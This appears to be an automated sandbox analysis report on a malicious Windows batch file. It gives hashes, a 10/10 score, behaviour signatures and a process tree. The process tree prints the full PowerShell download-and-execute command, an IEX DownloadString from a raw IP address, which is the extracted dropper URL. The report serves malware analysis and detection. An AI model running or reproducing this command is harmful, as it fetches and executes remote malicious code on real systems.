Analysis

  • max time kernel
    140s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    06-05-2020 04:10

General

  • Target

    XxNTGzKz.bat

  • Size

    190B

  • MD5

    3678f90ffe3dce18e97095fe049f6cc7

  • SHA1

    8e8d141ad77c44b2c8b835eacd67b039f0ee62e8

  • SHA256

    3a7e391aaff6e03154e366b5df819a3d550d260df5a13e107f691b57c4811f4d

  • SHA512

    1466e273b77eb1b62b58b5c39798c9a8a2ac44a1acdd3d893e2768b8a34ff4c0815004c8ab497fca8e40a6b1f65c9a6a2df4b19bdece5bf3ee9471a18b893716

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/XxNTGzKz

Signatures

  • Makes http(s) request 1 IoCs

    Contacts server via http/https, possibly for C2 communication.

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XxNTGzKz.bat"
    1⤵
      PID:3608
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/XxNTGzKz');Invoke-HDELSZM;Start-Sleep -s 10000"
        2⤵
          PID:1348
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1348 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:2440

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2440-0-0x0000000004A20000-0x0000000004A21000-memory.dmp

        Filesize

        4KB

      • memory/2440-1-0x0000000005150000-0x0000000005151000-memory.dmp

        Filesize

        4KB